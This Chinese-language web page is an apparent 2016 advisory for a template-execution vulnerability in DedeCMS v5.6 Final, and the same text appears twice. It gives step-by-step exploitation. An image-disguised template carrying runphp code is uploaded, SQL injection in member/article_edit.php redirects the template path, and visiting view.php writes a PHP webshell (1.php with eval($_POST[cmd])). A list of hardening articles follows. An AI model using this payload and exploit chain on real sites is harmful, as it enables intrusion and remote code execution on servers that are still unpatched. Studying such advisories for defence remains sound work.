DedeCms/织梦cms模板执行漏洞(影响版本v5.6)
时间：2016-02-19影响版本:
DEDECMS v5.6 Final
程序介绍:
DedeCms 基于PHP+MySQL的技术开发，支持Windows、Linux、Unix等多种服务器平台，从2004年开始发布第一个版本开始，至今已经发布了五个大版本。DedeCms以简单、健壮、灵活、开源几大特点占领了国内CMS的大部份市场，目前已经有超过二十万个站点正在使用DedeCms或居于DedeCms核心，是目前国内应用最广泛的php类CMS系统。
漏洞分析:
Dedecms V5.6 Final版本中的各个文件存在一系列问题，经过精心构造的含有恶意代表的模板内容可以通过用户后台的上传附件的功能上传上去，然后通过SQL注入修改附加表的模板路径为我们上传的模板路径，模板解析类：include/inc_archives_view.php没有对模板路径及名称做任何限制，则可以成功执行恶意代码。
1、member/article_edit.php文件（注入）：
//漏洞在member文件夹下普遍存在，$dede_addonfields是由用户提交的，可以被伪造，伪造成功即可带入sql语句，于是我们可以给附加表的内容进行update赋值。
2、include/inc_archives_view.php：
//这是模板处理类，如果附加表的模板路径存在，直接从附加表取值；GetTempletFile获取模板文件的方法就是取的此处的模板路径，从来带进去解析。
漏洞利用:
1.上传一个模板文件：
注册一个用户，进入用户管理后台，发表一篇文章，上传一个图片，然后在附件管理里，把图片替换为我们精心构造的模板，比如图片名称是：
uploads/userup/2/12OMX04-15A.jpg
模板内容是（如果限制图片格式，加gif89a）：
{dede:name runphp='yes'}
$fp = @fopen("1.php", 'a');
@fwrite($fp, '<'.'?php'."\r\n\r\n".'eval($_POST[cmd])'."\r\n\r\n?".">\r\n");
@fclose($fp);
{/dede:name}
2.修改刚刚发表的文章，查看源文件，构造一个表单：
提交，提示修改成功，则我们已经成功修改模板路径。
3.访问修改的文章：
假设刚刚修改的文章的aid为2，则我们只需要访问：
http://127.0.0.1/dede/plus/view.php?aid=2
即可以在plus目录下生成小马：1.php
解决方案:
厂商补丁:
DEDECMS
------------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：
http://www.dedecms.com/
信息来源: oldjun's Blog
DEDECMS v5.6 Final
程序介绍:
DedeCms 基于PHP+MySQL的技术开发，支持Windows、Linux、Unix等多种服务器平台，从2004年开始发布第一个版本开始，至今已经发布了五个大版本。DedeCms以简单、健壮、灵活、开源几大特点占领了国内CMS的大部份市场，目前已经有超过二十万个站点正在使用DedeCms或居于DedeCms核心，是目前国内应用最广泛的php类CMS系统。
漏洞分析:
Dedecms V5.6 Final版本中的各个文件存在一系列问题，经过精心构造的含有恶意代表的模板内容可以通过用户后台的上传附件的功能上传上去，然后通过SQL注入修改附加表的模板路径为我们上传的模板路径，模板解析类：include/inc_archives_view.php没有对模板路径及名称做任何限制，则可以成功执行恶意代码。
1、member/article_edit.php文件（注入）：
//漏洞在member文件夹下普遍存在，$dede_addonfields是由用户提交的，可以被伪造，伪造成功即可带入sql语句，于是我们可以给附加表的内容进行update赋值。
2、include/inc_archives_view.php：
//这是模板处理类，如果附加表的模板路径存在，直接从附加表取值；GetTempletFile获取模板文件的方法就是取的此处的模板路径，从来带进去解析。
漏洞利用:
1.上传一个模板文件：
注册一个用户，进入用户管理后台，发表一篇文章，上传一个图片，然后在附件管理里，把图片替换为我们精心构造的模板，比如图片名称是：
uploads/userup/2/12OMX04-15A.jpg
模板内容是（如果限制图片格式，加gif89a）：
{dede:name runphp='yes'}
$fp = @fopen("1.php", 'a');
@fwrite($fp, '<'.'?php'."\r\n\r\n".'eval($_POST[cmd])'."\r\n\r\n?".">\r\n");
@fclose($fp);
{/dede:name}
2.修改刚刚发表的文章，查看源文件，构造一个表单：
提交，提示修改成功，则我们已经成功修改模板路径。
3.访问修改的文章：
假设刚刚修改的文章的aid为2，则我们只需要访问：
http://127.0.0.1/dede/plus/view.php?aid=2
即可以在plus目录下生成小马：1.php
解决方案:
厂商补丁:
DEDECMS
------------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：
http://www.dedecms.com/
信息来源: oldjun's Blog
相关文章
17个防止dedeCMS织梦网站被黑挂马的小技巧dede织梦cms系统的程序存在漏洞，黑客攻击方法层出不穷，导致网站经常被黑，被百度安全中心等拦截，影响排名和流量，让站长非常头疼，下面总结一些防止dede织梦c- 织梦dedecms如何更改plus文件夹名称dedecms有很多漏洞都是出自plus文件夹下的文件，网上有很多挂马工具都有自动扫描网站PLUS目录功能用来匹配漏洞文件，因此为了避免被漏洞入侵，我们可以重命名PLU
- 织梦DedeCMS select_soft_post.php任意文件上传漏洞解决办法最近很多建站朋友发现织梦DedeCMS安装在阿里云服务器后会在阿里云后台提示有一个dedecms任意文件上传漏洞，引起的文件是织梦安装目录下的/include/dialog/select
- dedecms织梦 /member/reg_new.php SQL注入漏洞1. 漏洞描述 Dedecms会员中心注入漏洞 2. 漏洞触发条件 http://127.0.0.1/dedecms5.7/member/reg_new.php?dopost=regbaseamp;step=1amp;mtype=%B8%F6%C8%CBamp;m
- 织梦dedecms百度快照劫持注入代码防范织梦百度快照劫持注入代码防范及修正，很多站长做站的过程中，都碰过百度快照被劫持等问题，明明已经修复模板文件了，还是没有更新回正常的快照，以织梦系统为例
- 织梦dedecms几条重要的安全设置dedecms的安全问题一直是被广大站长用户诟病的，博客吧也感同身受，稍微不注意安全就很容易被黑，篡改网页、挂黑链等问题一个接着一个，因此对dedecms进行有效的
几条实用的预防Dede织梦网站被挂马方法对刚学习dedecms织梦的同学，当在本地调试好网站上传到服务器后，在没有采取防护的情况下，网站很容易被挂马，挂马后，网站首页会被篡改，或者网站被恶意跳转到别的不相关
解决织梦后台＂DEDECMS安全提示＂织梦后台系统是目前被采用最多的网站CMS，很多SEOer都操作过织梦后台，那么细心的 织梦管理 人员就会发现，在后台首页有一个版块叫DEDECMS安全提示，里面写了3条提示（如图